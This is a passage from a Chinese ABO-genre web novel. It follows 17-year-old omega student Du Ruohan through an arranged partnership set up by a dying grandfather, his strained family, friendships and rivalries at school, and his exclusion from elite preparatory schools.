“可是爷爷……如果他不喜欢我呢?”
听到这话的第五治笑了,“不会的,爷爷知道若寒就是这世界上最适合他的人。”
为什么?杜若寒不明白,爷爷知道他是一个信息素很低、身体还有缺陷的omega么?
“如果若寒真的害怕,那也没有关系,等你大学毕业之后,你们还是不喜欢彼此……”
第五治松开杜若寒的手,那点温度便远离了。
“那若寒也可以去追求自己真正喜欢的人、做自己真正喜欢的事,爷爷会给你留些钱以防万一,好么?”
杜若寒愣在原地,一时之间不知该做什么样的反应。
他们也只是第一天认识的陌生人而已,即便是亲生父亲也不曾待他如此好。
在来之前,杜若寒设想了许多难堪的画面,但唯独没有想过老先生会尊重他,把他当个人看。
——————————
第五江臧过来时,老爷子还在睡觉。
听杨皓说,今早老爷子见了一个小朋友。
一老一小聊了好一会儿,看上去挺开心的。
第五江臧不置可否,没有说话,只是压下眼眸来瞥了他一眼。
杨皓身为江臧身边的指令官之一,很快便明白了他的意思。
第五江藏从杨皓手里接过烟,点燃了却不抽,仅仅是夹在指尖,瞧着那一点猩红慢热的往里烧。
“这是第几个了?”第五江臧的声音偏冷偏硬,像是某种质地坚硬的金属。
杨皓如实回答:“第七个。”
听罢,第五江臧很淡的笑了一下,嘱咐道:
“老爷子愿意折腾就让他折腾,只要不累到身体,都随他。”
“是。”
至于旁的人,他不关心,也不在意。
第五治为他寻觅法定伴侣的事,在首都燕临已然不是什么秘密了。
想要往他身边塞人的达官显贵还没来得及高兴,就被老爷子奇葩的选人条件给弄懵了。
说是只要好兰世家出生的孩子,年纪最好不超过二十,其他的还得面试。
第五江臧起初不同意,但再不同意也要看在老爷子头上那颗肿瘤的份上,先同意一阵子。
第五江臧不说话,杨皓就更不敢搭话。
即便他与他的手下都是高等级信息素的alpha,但在第五江臧的面前,仍旧有种莫名低人一等的不适感。
而这种不适感,往往是由更高级别的信息素决定的。
身为enigma的第五江臧,他的信息素没有味道,却能给人造成最为致命的打击和压迫。
更何况第五江臧是国家E能中心唯一一位批准不用佩戴管制定位环器的enigma。
这也就意味着,即
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便这样的一位enigma在闹市区实施杀人或杀人未遂。
当地行政最高警督不仅无权逮捕,更要在必要时刻进行掩护和撤离。
并在接下来的审判过程中,他仍旧拥有最高话语权和解释权。
最要命的是,即便人民判定他有罪,第五江臧却从不属于人民,而是直属于国家。
这就要得益于他十八岁时不顾第五治的反对,参加了国家E能反联盟计划,并于一年后成为了该组织的最高执行官。
而就在这为国卖命的短短两年生涯里,第五江臧的权利已然凌驾于太多人之上。
即便他有一个在最高行政机关里当大官的老爹,也得对着儿子喊一声执行长,请指示。
两年后,第五江臧又很果断的放弃了高高在上的执令官职位,听从第五治的安排接管了家族的产业,并一直到如今。
如今第五治身患绝症,时日无多,第五江臧虽然表面上不显,私底下却没少烦心。
两人在走廊外吹了一会儿风,等第五江臧手里的烟也燃尽、吹灭了,才有一名保镖走上跟前低声说:
“老先生醒了。”
第五江臧扔了手里的烟,大步向前迈了过去。
杨皓跟在后头不紧不慢的拾起地上的烟头,放进了自己的口袋里,像是习以为常了那样,跟了上去。
病房里,躺在床上的第五治脸色泛着难看的死灰。
现在的他,其实每多说一句话都要耗费不少的精力。
他脑袋里的那颗肿瘤长时间的压迫着神经,引起头痛,造成视力衰退和记忆力模糊等等数不清的病症。
第五江臧站在门口,还没进去,瞧见他这幅模样,眸色止不住的一沉。
老爷子却有所感应的朝他招招手,颇为吃力的喊出两个字:
“来啦。”
第五江臧这才沉住气的走到跟前,也不坐。
第五治知道他生气,冲他笑了笑:
“老毛病了,别不高兴了。”
听老爷子的话,第五江臧脸色也没有缓和多少。
“听杨皓说,您早上又见一个。”
第五治眨了眨眼睛,提起那个孩子来,脸上的笑意更甚几分。
看来是真心喜欢。这让第五江臧到嘴要责备的话,忽而又说不出口了。
“如何。”第五江臧随口一问。
第五治的目光却落在飘窗上的那两盆君子兰上,缓缓道:
“是个聪明的好孩子。”
“我当时问他,知道哪一盆是你送的么,他说知道。”
第五江臧看向飘窗上的那两盆君子兰,一盆浅黄的淡雅,一盆热烈的橘红。
“其实无论他说哪一盆,答案都对,但偏偏只有他答的最正确。”
第五治笑着看向第五江臧,后者俊美无双的脸上没有太多的情绪。
第五治喜爱君子兰,喜欢君子兰被赋予的美好品质和寓意。
其中,他尤爱淡雅的浅黄,可他的孙子却偏要送他更具吉祥寓意的橘红,试图挽救一个绝症老人摇摇欲坠的生命力。
又担心第五治不喜欢,所以这两盆花是一起送来的。
第五治懂他的一片孝心,也懂他并非像外界人说的那样无情无义。
所以第五治看着这两盆颜色截然不同的君子兰,想着为什么不能再找一个这样懂得江臧的人呢?
等他将死之时,亦能放宽了心的撒手人寰。
5. 第 5 章
从医院回来,杜若寒到家的第一件事就是把伍爷爷给自己的联系方式存进了手机里。
回来的路上,杜兆几番想从杜若寒的嘴巴里套出点话来,都被杜若寒不冷不淡的蒙混了过去。
本以为接下来的周日杜兆还会想尽办法来逼问自己。
但早上杜若寒下楼的时候,却瞧见杜兆心情相当不错的拉着花美琳的手,说辞无不夸张的描绘着一幅杜家未来无限美好的蓝图。
杜若寒这才知道,昨天晚上江家的钱比他们都要更快一步的打进了杜家的账户。
看见杜若寒下来吃早饭,花美琳连忙甩开她老公的手,无比殷勤的笑着说:
“寒寒,让阿姨来,你坐!你坐!”
不一会儿花美琳便从厨房端来了早餐三明治、牛奶,还有杜若寒喜欢吃的煎蛋。
大抵这是在杜家吃一顿少一顿了,花美琳难能良心发现,表面功夫做的也足。
杜兆也很有眼力见的等杜若寒吃完才开口提醒道:
“过几天江家的人就会来接你,走之前,你要什么尽管和你花阿姨说。”
杜若寒撩起眼皮瞥了他一眼,没说话径直上了楼。
面对杜若寒的冷脸,杜兆少有的没生气,仍旧乐呵呵的转过头找花美琳说话。
就连一向烦人的杜润雨也不来找杜若寒的麻烦了,八成是花美琳提前嘱咐过的。
即便是看在那笔巨款上,也会对杜若寒客气些。
无论杜家的这些人到底是见钱眼开,还是出于对他的同情,杜若寒也都没有很在意。
他相当有效率的刷完了三套数学大试卷,做完也不过才中午十一点多。
三套试卷加起来一共六十道题目,只错了其中一道大题。
准确来说,是少写了一个准确的答案,其他也都是全对。
杜若寒盯着试卷看了一会儿,也不过多纠结,将桌子上的书本与卷子全部收拾一空放进书包里。
江临一中的返校时间是每周日的下午两点,除个别成绩优异的学生可以周一返校之外,其他学生都是强制返校。
虽然杜若寒拥有这样的特权,但他从来也没使用过,甚至来的比班上的老师都要早。
对此,竹玉渲常常羡慕的要死,恨不能和杜若寒换一个脑子,这样他就可以留在家里多打半天的游戏。
杜若寒也懂得自己的好友只是开玩笑,竹玉渲知道他之所以那么早去学校,只是因为想要避开杜家的人,却没有地方可去而已。
由于返校的时间是下午两点,江临一中的食堂是没有午饭的。
绝大部分的时间里竹玉渲会早早到校,就只是为了帮他带午餐。
少部分的时间里,竹玉渲睡过了头,杜若寒就自己去小卖部买点面包啃啃。
杜若寒从家走的时候,杜兆说什么都要亲自送他去学校,表演的很是父子情深。
杜若寒拒绝不了,也就不再吭声的上了车。
一路上杜兆噼里啪啦说了许多的话,什么即便是出了杜家的门独自一人在外,爸爸一直都在,永远支持你爱你云云。
杜若寒没有太多反应,这些话杜兆在两个弟弟年幼时都说过,也曾感动的对方哭唧唧的喊爸爸。
可是如今的杜若寒已经十七岁了,这样哄骗小孩子的话,没人会信了。
车子快开到学校,杜若寒的沉默到底终于让杜兆真正的意识到,这段看上去糟糕实际也很糟糕的父子关系,终究是没了任何挽回的余地。
他看着杜若寒下了车,目送着这个清瘦的身影渐行渐远。
明明是返校的日子,江临一中门口却只停了他这一辆轿车,空旷的令人感到不适。
仿佛那不是学校,而是一所凄冷的监狱。
但他儿子杜若寒却并不这样觉得,他微笑着和保安室里的老大爷打过招呼,甚至停下来说了几句话。
过了一会儿,杜兆又瞧见那位老大爷从桌肚地下摸出一个东西,递给了杜若寒。
是一瓶超市打折时买的酸奶,毕竟包装的确实廉价。杜兆猜测着。
本以为杜若寒不会要,家里从来也没少过孩子们的营养品。
杜汀州和杜润雨时常将喝了几口还剩大半的牛奶倒掉。
至于杜若寒……杜兆握着方向盘的手微微收紧,有些不太确定的想,美琳应该为每个孩子都准备了的吧?
对于家中情况的不了解,杜兆觉得这并不能怪他,他确实时常不在家。
等他再抬起头看向校门口,杜若寒已经进去了,连个背影都看不到了。
杜兆只好轻叹了一口气,此时心中忽感几分惆怅和空落,便越发的想念家中的妻子和孩子们。
于是,杜兆没有什么犹豫的发动车子离去。
“刚刚在门口的那个,是你爸爸吧?”
保安室的李大爷笑眯眯的看着眼前的小朋友,杜若寒不答,他也不生气,接着搭话道:
“今天也要在这里等你的朋友么?”
杜若寒抬起眼点点头,“是的。”
“噢。”李大爷记性很好,他拧开保温杯浅喝了一口,随后又说道:
“这周轮到你那个比较讨厌的同学叫什么……周什么庭的,当值日班长了是不是?”
听到这话的杜若寒大为震惊,并十分难以置信的瞪大了眼睛。
这话他只对李大爷说过一次,就随口提过过一次!
李大爷见他这幅模样,忍不住哈哈笑起来。
“哎呀,怪我怪我!怪我记性太好了,我不知道这个不能说,咱们这个是能说的么?”
你都已经说出来了,再说这里也没别人。
杜若寒只敢心里小声的念叨几句,但还是好脾气的和李大爷解释道:
“他叫周书庭,他人还可以,就是说话有些不好听,我不太想和他单独相处,所以才麻烦您让我在这里等一下朋友。”
李大爷了然的点点头,杜若寒常年考年级第一,不仅李大爷知道他,就连食堂打饭的阿姨们都认识他。
他是江临一中的名人,既然有人喜欢,也就会有人讨厌并与之作对。
这没什么大不了的,只要家长和老师之间妥善处理,这样的事情也就不会再发生。
但坏就坏在,这个小朋友生在一个并不怎么负责任的家庭里。
李大爷心里为他感到惋惜,表面上却并没有表露出分毫。
毕竟这个年纪的孩子们,自尊心比三四十岁的老男人都要强。
他喜欢杜若寒,也不介意和杜若寒分享一下他工作的地方。<
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p>“姓周啊,那你确实要稍微避开那么一点,作业写完了么?”
李大爷也不多说,仅仅是点到为止,杜若寒聪明自然也能听懂:
“都写完了。”
“不错!”
杜若寒又在保安室等了一会儿,才看见竹玉渲妈妈常开的哪辆白色保时捷姗姗来迟。
从车子上先下来的人往往都是身材火辣高挑的女人,竹玉渲的妈妈穿衣向来十分大胆且具有大女主气息。
这也确实符合竹玉渲妈妈的身份,在上市公司做女高管的alpha,且信息素等级还不低。
竹熙媛先替儿子打开了车门,照常惯例母子两人是要说几句话并亲吻一下额头,作为分别的礼仪。
随后竹熙媛才会去副驾上拿过竹玉渲的书包递给他,再目送儿子进学校。
每每这个时候竹玉渲都会特别的不好意思,大抵是知道自己的好友就在保安室看着。
而自己都已经十六七岁了,自己的老妈还把他当个宝宝一样照顾。
等竹熙媛的车走了,杜若寒才从保安室出来,冲脸红彤彤的竹玉渲招了招手。
“怎么脸又红了?”杜若寒和竹玉渲并肩往教室走去。
听到这话的竹玉渲又一次忍不住跳脚,“你又在里面偷看!”
“我都和她说了多少遍了,不要在公共场合亲我!我都多大了,她每次都答应,结果每次都不做!”
“她要是再这样的话,以后都不准她来送我了。”竹玉渲别别扭扭的哼唧道。
杜若寒根本就不吃这一套,淡淡的“哦”了一声。
“我觉得吧……”
“觉得什么?”竹玉渲好奇的问。
“我觉得小孩子都比你强点。”
竹玉渲不懂,“什么呀……”
杜若寒忍不住笑他,“毕竟小朋友可不觉得被妈妈疼爱是件丢脸的事呢。”
竹玉渲一愣,反应过来的他也有些别扭的别过脸去,小声道:
“我不是怕你不开心嘛。”
杜若寒忽而停下脚步,竹玉渲也愣在原地。
“为什么?”
杜若寒看着他的眼睛说,“我不会感到不开心,我觉得你和竹阿姨都是很好的人。”
“可是……”竹玉渲还是觉得心里过意不去。
身为杜若寒最好的朋友,他是知道杜若寒家里的情况的。
所以才会为他感到不开心,为他感到不值。
但杜若寒却说:“没有关系的,玉渲。”
“我只是比较特殊,不是没有人爱我……”
“而是爱我的人恰好不在这世上了而已。”
杜若寒冲竹玉渲淡淡一笑,俨然是个小大人的模样。
竹玉渲却觉得心里莫名的心酸,强忍住闪动的眼泪,笑骂一声:
“杜若寒我谢谢你!差点又要被你骗到了!你这个坏人!”
“哈哈哈,学会了么?煽情作文可以这样写。”
“我去……别告诉我作文你都是这样写的?”
“没有啊,作文嘛,故事只要动听就行,不一定要求是真的。”
“谢谢杜老师,杜老师我又学废了一点,你看我这样可以考燕大么?”
“没问题哦,小猪同学~”
6. 第 6 章
两人所在的高三一班位于思邈教学楼的顶楼六层,每每爬楼梯的时候竹玉渲都是最安静的。
毕竟累的气喘吁吁,实在是抽不出空隙说话。
每当他停下来歇息会儿,一抬头就只能看见杜若寒的脚后跟了。
竹玉渲心里那叫一个痛苦啊,他实在是搞不明白同为omega,怎么他和杜若寒的体能差异那么大呢。
学校举办的运动会,每每体育委选人,竹玉渲都恨不能躲得远远的。
但杜若寒每年都会参加,尤其喜爱里面的长短跑,根本就不像旁人说的那样,体育委是故意在为难他。
要知道杜若寒身为omega,与那些个头高大、一步顶人家三四步的alpha相比,确实不占优势。
这也是门门都拿第一的杜若寒,为数不多拿不到第一的项目。
他却乐此不疲。
两人到了教室门口,竹玉渲拉了一下杜若寒的手,示意自己先进去。
今天的值日班长是周书庭,那确实是个非常难搞且死板固执的alpha,偏偏还看两人非常的不顺眼。
竹玉渲也不知道他们到底哪里得罪了他,但奈何人家有个当市长的舅舅,又有个当局长的爸爸,家庭背景过硬,实在是惹不起。
好在今天他们比较走运,周书庭不在班级,大概是被老师留在办公室批改试卷了。
竹玉渲松了一口气,将竹妈妈一早就准备好的两份午餐盒从书包里掏了出来。
如果这个时候周书庭在班级里的话,这顿午饭必定是吃不上热乎的了。
除非他们愿意站在走廊上,面临时不时会经过的老师和同学的打量,十分丢脸的吃完这一顿也行。
竹玉渲和杜若寒是前后桌,和杜若寒干净整洁的桌面不同,竹玉渲的桌面上堆满了课本和没来得及塞进桌肚里的试卷。
实在是没地方放,他只好将掏出来的两份餐盒暂时放在杜若寒的桌子上。
“不行,我桌子上全是东西,我先放你这——”
竹玉渲刚转过身,手里的餐盒还没来及放下,忽而看见了什么似的瞪大了眼睛。
杜若寒也才刚刚坐下,瞧见他这反应也有些懵:
“怎么了?”
竹玉渲放下手里的餐盒,伸手虚虚的指了一下他的脖颈。
“你什么时候买的?这是spx最新限量款的颈环?”
竹玉渲不太确定,毕竟杜若寒家里是什么情况他也都知道。
杜若寒那个死鬼老爸根本不可能花这么多钱给他买这么好的颈环,这东西发售期结束没两个月,就被炒到十万京币以上了。
难不成是假的?但这种可能性极小,杜若寒就不是那种追求品牌而爱慕虚荣的人。
竹玉渲这样想着,但还是决定先问清楚。
“这东西……不是假的吧?”
杜若寒犹豫了两秒,这东西是真是假网上辨认的法子有很多,根本骗不了竹玉渲。
杜若寒准备实话实说,但并不是完全的实话实说。
“真的。”
竹玉渲愣了一下,“你哪来的钱?”
杜若寒没有第一时间开口解释,身为其好友的竹玉渲敏锐的嗅到了一丝不寻常的气息。
这家伙一定有事瞒他。
再加上前两天杜若寒很少见的张口问他借钱却又不要了的事,反而让竹玉渲总觉得哪里怪怪的。
他本就怀疑是不是杜若寒在家里出了什么事,才会一开口就是几万块的借。
可今天回校,他瞧着杜若寒的状态又还不错,不像是在家遭受虐待或是殴打的样子。
心里稍微松了口气,也就没好意思再问。
以前尚未分化的杜若寒在家时常挨杜兆的打,理由仅仅是因为顶了几句嘴。
竹玉渲一直都记得,那是一个深秋的暴雨天。
他接到杜若寒的电话,和妈妈一起冒着大雨出去接人。
出了门后,他就一直拨打杜若寒的手机却一直没人接听。
他们只能沿着杜若寒家附近的街道来回找,满地枯黄的落叶被大风刮得四处乱飞,雨水拍打在脸上是冰凉的一片。
竹熙媛和竹玉渲都被冻的瑟瑟发抖,但谁也没说什么。
他们足足找了半个小时,就在竹熙媛忍不住要找上门与杜兆理论时,竹玉渲在一处垃圾站旁找到了杜若寒。
被雨水浸泡的时间过长,杜若寒浑身冰冷,只有额头和颈后受创的腺体爆发出惊人的热量。
然后竹玉渲就看见杜若寒被打得高高肿起的右脸颊。
那一天,他抱着杜若寒,神情无助的冲竹熙媛哭喊一声妈妈。
那一瞬间,竹熙媛的心都要碎了。
他们将杜若寒送去了医院,也是在医院门口竹熙媛扇了杜兆一巴掌。
“如果你不会养育小孩,我不介意教教你到底该如何做一名合格的家长!”
竹熙媛气的双眼通红,恨不能要给杜兆活吞了。
其实她在扇完那一巴掌,就已经后悔了。
杜家父子关系再不好,杜若寒毕竟也是杜兆的儿子。
自己这一巴掌扇下去,她更加担心杜若寒在杜家以后的生活。
杜兆又会不会因为这一巴掌而迁怒于小朋友?
那一瞬间,竹熙媛想了很多,但并未过多纠结,杜若寒醒后就被她直接接回了家。
过了两天,杜兆再去医院看望杜若寒才知道,他儿子已经被人接走了。
自那之后,杜兆也就再也没有对杜若寒动手过。
不知道是因为竹熙媛的那一巴掌真的起了作用,又或者是从那天起,杜若寒变得沉默、不爱说话,也再也不会和杜兆顶嘴了。
从回忆中缓过神来的竹玉渲,看见杜若寒很没所谓的笑了笑。
“别担心啦,是我爸给我买的。”
竹玉渲不信,“怎么可能,你爸好端端的为什么会给你买这么贵的东西?”
这样的话本就自相矛盾,但放在杜若寒的身上,却又异乎常人的合理。
“我答应他要给杜润雨补习功课,每周六的下午和每周日的上午。”
“条件就是他要给我买个信息控制环,”
杜若寒说的像模像样,竹玉渲已然有点相信了,但又对价格还有些疑惑:
“真的假的?那他怎么会舍得买这么贵的?”
杜若寒冲他眨眨眼,“那当然是真的啦,既然要坑他嘛,肯定要坑他一笔大的。”
“你也知道杜润雨那小子很难教,而且他还找人在学校门口堵我。”
竹玉渲愣了一下,随后瞪大眼睛一脸惊讶:
“我靠!你终于愿意告诉你爸啦?”
杜若寒点点头,“是的,不然你以为他为什么愿意给我买这么贵的?”
说完,竹玉渲顿时觉得解气极了,猛拍一下桌子:
“好!!!干的漂亮老寒!!咱们也算是扬眉吐气一回了!!!”
见竹玉渲傻兮兮的相信了,杜若寒也跟着笑,心里顿时松了一口气。
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他欠竹家母子两人的恩情已经很多了,他不想再给他们带来任何不必要的麻烦和负担。
杜若寒正想开口说些什么,忽而门口传来一道清冷的声音。
“竹玉渲,你不知道班级里禁止大声喧哗的么?”
两人皆一愣,同时转过头看去。
只见周书庭手里拿着一沓白纸黑字的单子站在门口,英气的眉宇间尽是淡漠,瞧着两人心里都凉凉的。
杜若寒收回视线刚想将桌子上的餐盒收起来,竹玉渲却先一步按住了他的手,瞪着眼睛回怼过去。
“周书庭你有没有搞错啊,班上就我们两个人,又不是在上自习课,你哪来那么多规矩。”
瞧见竹玉渲绷起来也白里透红且圆润的小脸,他微微皱起眉,竟没再说些什么,径直回了座位。
这时,杜若寒抬起眼悄咪咪的打量着他俩,第一回合就完胜的竹玉渲大手一挥,翻身做了主人道:
“吃饭!”
下午四点,班上的同学们陆陆续续全都到齐后,身为值日班长的周书庭坐到了讲台跟前,冷着脸喊了一句:
“安静点。”
一瞬间,闹哄哄的教室倏然静下来不少,周书庭才接着开口说:
“各科课代表收作业,其他人保持安静。”
由于他们班的班主任是数学老师,所以数学这一科永远排在其他几门的前面。
而身为班主任最喜爱的第一名,杜若寒自然也跑不掉当了这数学课代表。
收作业其实是一件挺有意思的事,比如他经过谁谁谁的桌旁,还能顺耳听两句别人的闲话。
“呦,课代表这是买了新的控制环啦?这么高级的嘛?”
“真的假的?不用信息素贴啦?你家里不是挺穷的么?”
杜若寒没搭理他们,绕过最后一排,从后往前接着收。
“不好意思,作业我好像没带。”
杜若寒眼皮子都没抬,“那就记名字了。”
“哎!课代表就不能通融通融嘛,真的是拿漏了!”
“我一会儿喊我家司机送还不行么?”
杜若寒点点头,“先记,后面交了再划掉。”
“……靠,你装什么装啊,还不是个最劣等的O…”
杜若寒没空理,越往前收,作业交的也就越整齐。
但这不代表坐在前排的好学生们就不说话,几个omega仗着自己和值日班长周书庭的关系还不错,小声的在嘀咕着什么。
杜若寒走过去才稍微听见了一点,她们是在说预备校的事。收作业的动作忍不住稍稍放慢了些。
“我去,周书庭竟然提前拿到填报预备校的申请表了!!”
“我靠?!不是吧,老邢咋想的啊,不是期中才出名额的么?”
“你这消息落后了,现在三大预备校的报名时间全都提前了,我估计每个班能分到的名额就只有两三个。”
“就两三个啊,这么少?”
“能有两三个就不错了好吧,你以为预备校是什么人都能进去的么?那条件可太严格了!”
“就拿咱们班来说,你觉得能有几个符合申报条件的?”
“周书庭啊!他小子又有背景成绩又好的!除了他的话……杜若寒应该也可以的吧?毕竟成绩那么好。”
听到她们提起自己,杜若寒有些不自在的往后走了走,忽而听见有人冷笑一声,语气十分笃定的说道:
“杜若寒啊,他就没资格,可以什么呀。”
7. 第 7 章
韩新语和喻思欣对视一眼,都从对方的眼神里读出几分尴尬和无语来。
光是听见陈大小姐的声音,两人都觉得晦气非常。
人家课代表都还没走远呢,你说那么大声,是生怕杜若寒听不见有人在背后议论他是么?
韩新语无语的翻了一个白眼,压根就不打算搭理陈沫沫。
奈何人家陈大小姐偏要找点存在感,以为她们不信自己说的话,脸上的不屑之色更甚几分。
“你们懂什么?想要进预备校,就要满足预备校招录的三个条件,信息素等级、体能达优,最后才是成绩。”
“就杜若寒那样的,一个信息素等级为C-的omega?腺体还有缺陷,刚进去就被筛掉的啦,人家根本就不会看他所谓的、优异成绩好么。”
听到这话,韩新语再也忍不住了,转过头看向陈沫沫立马回怼过去。
“那又怎样?你又很拿得出手么?”
“除了家世好一点之外,学习学习不行,信息素等级也没有很高吧?”
眼见着陈沫沫的脸色越发的难看起来,一旁的喻思欣赶紧拉了拉同桌的手臂,小声道:
“好啦新语,你搭理她干嘛。”
韩新语耸耸肩,故意放大了音量。
“没事啊,不就是仗着自己是周书庭的青梅竹马嘛。”
“还好分化成了一个omega,要是个alpha这张死嘴八辈子讨不到老婆!”
这话一出,陈沫沫被刺激的不行,脸色涨红的猛地从位子上站起来。
“韩新语你再说一遍!”
此时,她们这边的动静已经大到坐在前台的周书庭不得不管的地步。
“陈沫沫你干什么?”周书庭皱着眉,视线有些不耐烦的投了过去。
陈沫沫赶紧抬头看了周书庭一眼,通过那人熟悉的眼神得知自己再不老实点,他就要发飙了。
即便心里无比的憋屈,她也只能忍着这口气坐了回去。
就这还没完,韩新语还笑嘻嘻的跟周书庭说:
“班长,这你都不记她名字呀,舍不得么?”
周书庭瞥了她一眼,冷笑一声:
“当然舍得,你们两个我都记了,扣三分。”
听到这话,韩新语脸色猛地一变,心里止不住尖叫一声,靠!周书庭你够狠!
和其他普通的高中不同,江临一中实行更为严格苛刻的三年学分制度。
每一位学生入学时的学分都是满分100,但随着在校的三年学习,绝大部分学生们的学分都会惨遭扣除,并呈现学分消失的多样性。
失去的学分固然可惜,但想要将这些学分赚回来,对于其中一部分人来说,更是难如登天。
除了参加学校各式各样的主题竞赛赚取微薄的几分之外,稳定获得学分的法子不限于考个年级第一这么简单。
或者考个年级第二、第三也行。
总之,能从江临一中毕业的学生,学分不得低于60,至于学分能保持在80分以上的,已经算是品学兼优的好学生了。
至于能保持在一百上下的能人,除了前几年不用填申请表就被预备校选走的纪淮学长之外,就只有这一届她们班的数学课代表杜若寒了。
杜若寒没听见她们后面所说的话,只是在陈沫沫出声的下一秒,便自觉的走远了。
以他目前的条件,确实达不到预备校的标准。
在上高二下学期的时候,班主任邢复就已经找他谈过了。
邢复告诉他,以他目前优异的条件其实完全可以跟前两年的纪淮一样,直接被破格录取的。
但坏就坏在,杜若寒的信息素等级太低,且腺体有着致命的缺陷,不符合进入三大预备校最低门槛的标准。
邢复说这些的时候,生怕杜若寒感到自卑和难过,柔声细语的将前因后果都讲给了他听。
所谓的三大预备校,本质上就是为满足国家需求征用人才而在几年前启动的领军人物计划。
在预备校中,为国家提前栽培出一批最为年轻精锐且符合前线要求的预备役。
这其中就包括预备军校、预备科校以及预备执校。
从三大预备校中毕业的学生,将直接受到国家最高领导人的调任和委派,可谓荣耀加身。
而过低的信息素等级,以及过差的体能,都将无法适应三大预备校校内的生活。
因为一进入三大预备校,就意味着自己半个职业生涯的开启。
极为苛刻的筛选和淘汰条件,从本质上来说根本就无法支撑一个信息素等级过低的A或O存活。
其中三大校内学生之间的争斗更是不断,家世相当了得之人也是层出不穷。
惯用信息素进行压制斗殴的学生,不在少数。
如果让杜若寒这样腺体受损的学生进入预备校,某种意义上来说也算一种变相的欺辱和霸凌。
邢复说的这些杜若寒也都明白,从前他也知道自己估计不够格能进入预备校。
只不过事实就是,真的从旁人嘴里听到了真相,还是会觉得有些难过。
但好在杜若寒也不过多纠结,毕竟好的大学也有很多,没必要执着于绝大部分人一辈子都达不到的高度和高校。
班上各科作业都收齐的时候,还不到五点,他们班主任邢复胳肢窝里夹着一本挺厚的书就进了班。
邢复是高校中较为典型的数学老师模样,中等个头,身材偏瘦,高挺的鼻梁上架着一副厚框眼镜,小眯眼,却也足够能看清班里每一位学生的小动作。
和绝大部分的高校老师一样,邢复是一名基层beta,对信息素的感知力较低,从而不会影响工作。
进了班,他把手里的书往讲台上一丢。
周书庭恰好站起身给他让位置,低头瞥见那书的名字——《预备校专业选择指南》。
“同学们下午好,等会我点到名的同学请按照顺序依次前往我的办公室。”
“那个书庭,你接着坐前台吧,没点到名字的同学接着上晚自习。”
邢复挥了一下手,将周书庭重新叫了回来,随后自己又从口袋里掏出一个名单来。
一瞬间,讲台下人头攒动,议论纷纷,邢复不得不清一下嗓子让他们保持安静。
学生和学生之间的信息往往流通的很快,邢复知道瞒不了他们,还不如趁早把事给办了,免得影响这些兔崽子们考试。
“冯子昂……”
“周建宁……”
“许笑笑……”
被点到名字的学生脸上都无一例外的露出又惊又喜的神情,颇为激动。
杜若寒只匆匆抬头看了邢复一眼,随后又低下头接着写书卷。
但没成想,邢复念完名单后也叫到了杜若寒的名字。
杜若寒明显一愣,抬起头有些不解的看向邢复。
邢复只是冲他微微点点头,“杜若寒先来,其他人等他回来再按照顺序依次过来。”
杜若寒只好在全班同学神情各异的目光注视下,站起身跟了过去。
邢复的办公室就在同一层楼的对侧走廊上,两人一前一后的进了办公室。
办公室里没有其他老师在,邢复等他把门带上才开口说话。
“若寒啊,其实我喊你来没有别的事,就是你家里人给你重新申请成了走读,
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这事你知道吧?”
听到这话的杜若寒明显一愣,但很快就反应过来,这事估计不是杜兆的意思,而是伍爷爷的想法。
他的手机是静音,丢在抽屉里也没想着拿出来看一眼,估计伍爷爷给他发了短信,但自己一直没回,就只能先给邢复打了电话。
“知道的老师。”
邢复点点头,“那就行,我也就是跟你确认一下,毕竟我也没见过你爷爷,还以为对面打错了。”
邢复虽然不确定杜若寒家庭的复杂情况,但也知道要和学生确认一下。
说完这话,邢复酝酿了一下,还是开口道:
“若寒啊,预备校的事,你要不要再争取一下?”
杜若寒只犹豫了两秒便果断的摇头拒绝了,“邢老师,我知道我自身的情况是达不到预备校的标准的,就不占班上其他同学的名额了吧。”
像他们江临一中这样的尖子班,一般向上提交的名额会多一些。
邢复带的班级又是年级第一,所以这次校领导格外多给了两个,一共十个申请名额。
然而十个申请名额中,真正能被预备校录用且进入面试阶段的学生,不会超过两个。
听见杜若寒这样说,邢复也有些可惜的点点头:
“那行,那你回去上自习吧,你爷爷说什么时候离校还是看你的意愿,你给他回个消息,他那边派人来接。”
杜若寒应了一声,“好的老师。”
从邢复办公室出来,杜若寒擦掉手心的里汗,赶紧往教室里走。
其实他明白邢复的良苦用心,伍爷爷那边打来的电话其实完全没必要喊他过来一趟单独说明。
但老邢是个好人,他对杜若寒已经十分照顾了,不想让他在别的学生面前自尊心受损才这样做的。
只不过杜若寒根本没想到伍爷爷那边的动作会这么快,杜兆不是说会过两天的么?
怎么那么急,自己一点准备都没有。
杜若寒回到班上,和他关系好的同学忍不住向他打探预备校的消息。
杜若寒心里还惦记着伍爷爷发来的消息,也就顾不上别的,摇摇头说:
“老邢没和我说这个。”
那学生很失望的“啊”了一声,杜若寒已经坐回座位上开始找手机。
竹玉渲听见动静,转过头来小声问:
“怎么样怎么样!你刚刚不在,他们都传疯啦,说你已经被预备校内定了,真的假的?”
杜若寒从桌肚里掏出手机,上面果然有伍爷爷给他发来的消息。
“假的。”
杜若寒眼皮子都没抬一下,点开屏幕查看。
“老邢早就跟我说了,我不符合预备校的报考条件。”
竹玉渲难以置信的“啊”了一声,“我靠,他们怎么这么有眼无珠?!”
杜若寒笑了一下,却没有分出神来说话。
竹玉渲瞧着他看手机正认真呢,又忍不住问:
“谁给你发消息啊,你小子不会背着我谈恋爱吧,预备校的事你都不关心?”
被竹玉渲这么一打岔,杜若寒根本没想好怎么给伍爷爷回消息,只能抬起头瞪了竹玉渲一眼。
“你觉得可能么?”
竹玉渲不听,笑嘻嘻的要凑上来偷看,杜若寒也没想躲着他,正巧被他看见了,不过没怎么看清。
“有人要来接你放学?”
“谁啊,家里的长辈么?”
杜若寒点点头,准确来说是江臧的下属。
而江臧,也就是他以后的未婚夫,如果不出意外的话,杜若寒在心里默念。
不知道他会不会讨厌自己呢?
8. 第 8 章
由于预备校提前报名的事,杜若寒在班上度过了一节相当嘈杂的自习课。
每一个从邢复办公室报名回来的人,都会作出一副可惜又惊讶的神情问一遍杜若寒:
课代表你怎么没在名单上啊?
课代表,是不是老邢搞错啦?
课代表,你没填申请表么?
杜若寒也都会耐着性子一遍又一遍的解释,老邢喊他过去不是为了这个事。
他们也就“哦”一声,放下心来的回位子上去了。
竹玉渲见他这副模样,气就不打一处来,奈何皇帝不急,太监急。
也不知道杜若寒是什么时候练成这样四平八稳、不急不躁的性子,可偏偏竹玉渲还拿他没有办法。
等他冷静下来仔细想想杜若寒说的,和这些人比较,本身就是个挺掉价且不尊重自己的行为。
其实也不无道理。
